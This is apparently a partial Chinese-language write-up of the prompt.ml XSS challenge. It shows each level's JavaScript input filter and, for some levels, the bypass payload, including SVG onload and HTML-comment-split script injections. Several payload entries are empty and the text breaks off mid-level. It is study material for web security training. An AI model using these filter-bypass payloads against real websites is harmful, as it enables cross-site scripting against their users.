// comment the input to avoid script execution return'<!-- ' + input + ' -->'; }
payload
--> 和 --!> 都能闭合注释 --!><svg/onload=prompt(1)
4. 假同域
functionescape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return'Invalid resource.'; } }
functionescape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON // e.g. http://httpbin.org/post#{"name":"Matt"} var segments = input.split('#'); var formURL = segments[0]; var formData = JSON.parse(segments[1]);
var form = document.createElement('form'); form.action = formURL; form.method = 'post';
for (var i in formData) { var input = form.appendChild(document.createElement('input')); input.name = i; input.setAttribute('value', formData[i]); }
return form.outerHTML + ' \n\ <script> \n\ // forbid javascript: or vbscript: and data: stuff \n\ if (!/script:|data:/i.test(document.forms[0].action)) \n\ document.forms[0].submit(); \n\ else \n\ document.write("Action forbidden.") \n\ </script> \n\ '; } catch (e) { return'Invalid form data.'; } }
Background Info The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>
8. 换行符
functionescape(input) { // prevent input from getting out of comment // strip off line-breaks and stuff input = input.replace(/[\r\n</"]/g, '');
functionescape(input) { // extend method from Underscore library // _.extend(destination, *sources) functionextend(obj) { var source, prop; for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: 'http://placehold.it/350x150' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, ''); // insert the content using mustache-ish template return'<img src="{{source}}">'.replace('{{source}}', source); } catch (e) { return'Invalid image data.'; } }
payload
14
functionescape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes all file names in all-caps :( // too lazy to convert them back in lower case // sample input: prompt.jpg => PROMPT.JPG input = input.toUpperCase(); // only allows images loaded from own host or data URI scheme input = input.replace(/\/\/|\w+:/g, 'data:'); // miscellaneous filtering input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return'<img src="' + input + '">'; }
payload
15
functionescape(input) { // sort of spoiler of level 7 input = input.replace(/\*/g, ''); // pass in something like dog#cat#bird#mouse... var segments = input.split('#');
return segments.map(function(title, index) { // title can only contain 15 characters return'<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>'; }).join('\n'); }
payload
与第 7 关类似,但是 /* 被过滤 那这里就可以用 HTML 的注释符 "><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
functionescape(input) { // WORLD -1 // strip off certain characters from breaking conditional statement input = input.replace(/[}<]/g, '');
return' \n\ <script> \n\ if (history.length > 1337) { \n\ // you can inject any code here \n\ // as long as it will be executed \n\ {{injection}} \n\ } \n\ </script> \n\ '.replace('{{injection}}', input); }
-2
functionescape(input) { // Christmas special edition! // Ho ho ho these characters are in Santa's naughty list input = input.replace(/[!=*`]/g, ''); // pass in your wishes like pets#toys#half-life3... var segments = input.split('#');
return segments.map(function(title, index) { // Don't be greedy! Each present can only contain 20 characters return'<p class="present" title="' + title.slice(0, 20) + '"></p>'; }).join('\n'); }
-3
functionescape(input) { // I iz fabulous cat // cat hatez dem charz var query = input.replace(/[&#>]/g, ''); var script = document.createElement('script'); // find me on Twttr script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag'; return'<input name="query" type="hidden" value="' + query + '">' + script.outerHTML; }
-4
functionescape(input) { // You know the rules and so do I input = input.replace(/"/g, '');